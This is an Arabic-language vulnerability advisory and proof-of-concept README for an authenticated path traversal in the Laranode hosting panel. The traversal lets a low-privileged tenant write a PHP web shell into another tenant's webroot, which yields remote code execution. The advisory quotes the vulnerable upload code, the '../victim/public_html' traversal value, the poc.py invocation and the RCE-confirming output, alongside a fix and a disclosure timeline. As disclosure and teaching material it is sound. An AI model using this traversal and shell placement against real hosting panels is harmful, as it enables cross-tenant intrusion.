
اجتياز المسار -> تنفيذ التعليمات البرمجية عن بُعد في Laranode < 1.2.1 (CWE-22). إثبات المفهوم + تقرير استشاري.
بحث أمني مصرّح به. إثبات المفهوم لأغراض دفاعية وتعليمية فقط.
يسمح اجتياز المسار المُصادَق عليه في نقطة نهاية رفع الملفات في مدير الملفات الخاص بـ Laranode لمستأجر منخفض الصلاحيات بكتابة ملفات عشوائية خارج دليل home الخاص به — بما في ذلك قشرة ويب PHP داخل جذر ويب مستأجر آخر — مما يؤدي إلى تنفيذ تعليمات عن بُعد بصلاحيات ذلك المستأجر.
| CVE | CVE-2026-100520 |
| المنتج | Laranode (لوحة تحكم استضافة متعددة المستأجرين، Laravel) |
| الإصدارات المتأثرة | >= 0, < 1.2.1 |
| تم الإصلاح في | v1.2.1 |
| الثغرة | اجتياز المسار (CWE-22) → كتابة ملفات عشوائية → تنفيذ تعليمات عن بُعد |
| الصلاحيات | مُصادَق عليه (أي مستخدم لوحة منخفض الصلاحيات) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS 4.0 | 8.7 HIGH — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H |
| اكتُشفت بواسطة | Alisher Qarshibayev |
| الإشعار الأمني | VulnCheck · GHSA-34h2-2696-vfvr |
يبني الملف app/Actions/Filemanager/UploadFileAction.php مسار الوجهة عبر ربط حقلي الطلب
path وoriginalName المُقدَّمين من المستخدم مباشرةً بدليل home الخاص بالمستأجر —
دون أي تقنين للمسار ودون أي فحص لاجتياز المسار:
// app/Actions/Filemanager/UploadFileAction.php (< 1.2.1)
$r->validate([
'file' => 'required|file',
'originalName' => 'required|string|max:255',
'path' => 'required|string', // <-- attacker controlled, not sanitized
]);
$file = $r->file('file');
$path = '/home/' . $r->user()->systemUsername . '/' . $r->path; // <-- traversal sink
File::append($path . '/' . $r->originalName, $file->get()); // <-- arbitrary write
المسار محمي بـ auth فقط — أي مستأجر مُصادَق عليه يمكنه الوصول إليه:
// routes/web.php
Route::post('/filemanager/upload-file', [FilemanagerController::class, 'uploadFile'])
->middleware(['auth'])->name('filemanager.uploadFile');
نظرًا لأن path يقبل تسلسلات ../، فإن قيمة مثل ../victim/public_html تتجاوز
دليل home الخاص بالمتصل وتضع الملف المرفوع في جذر ويب مستأجر آخر. كتابة ملف
.php هناك تؤدي إلى تنفيذ التعليمات البرمجية لحظة طلبه عبر HTTP.
المتطلبات: حساب صالح منخفض الصلاحيات على نسخة Laranode المستهدفة (هذه هي الصلاحية التي تفترضها الثغرة). يقوم إثبات المفهوم بتسجيل الدخول، وجلب رمز CSRF، وكتابة ملف PHP علامة داخل جذر ويب مستأجر مجاور عبر اجتياز المسار.
python3 poc.py \
--url https://panel.example.com \
--user [email protected] \
--pass 'Password123' \
--victim victimuser \
--webroot public_html
النتيجة المتوقعة — يؤكد الخادم وجهة الكتابة خارج دليل home الخاص بالمهاجم:
[*] Logging in as [email protected] ...
[+] Authenticated, CSRF token acquired
[*] Uploading pwn_<rand>.php via path traversal ...
[+] Server destination: /home/victimuser/public_html/pwn_<rand>.php
[+] Verifying execution ...
[+] RCE confirmed: https://victim.example.com/pwn_<rand>.php -> CVE-2026-100520 <uname>
انظر poc.py. قشرة العلامة تشغّل فقط id/uname لإثبات التنفيذ —
دون أي إجراءات تدميرية.
قم بالترقية إلى Laranode 1.2.1 (commit الإصلاح).
يقوم الإصلاح بتطبيع المسار المُحلَّل ويرفض أي وجهة تتجاوز
دليل home الخاص بالمستأجر (فحص احتواء realpath()). إرشادات عامة: لا تبنِ
مسارات نظام الملفات من مدخلات المستخدم الخام أبدًا — قم بالتقنين وتأكد من بقاء النتيجة داخل
دليل أساسي مسموح به.
| التاريخ | الحدث |
|---|---|
| 2026-09-21 | تاريخ الإفصاح العام |
| 2026-09-26 | حجز ونشر CVE-2026-100520 (VulnCheck) |
تم الإفصاح عنه بمسؤولية إلى المورّد وتم التنسيق عبر VulnCheck. تم الإصلاح في v1.2.1 قبل إصدار إثبات المفهوم هذا. نُشر لأغراض دفاعية وتعليمية.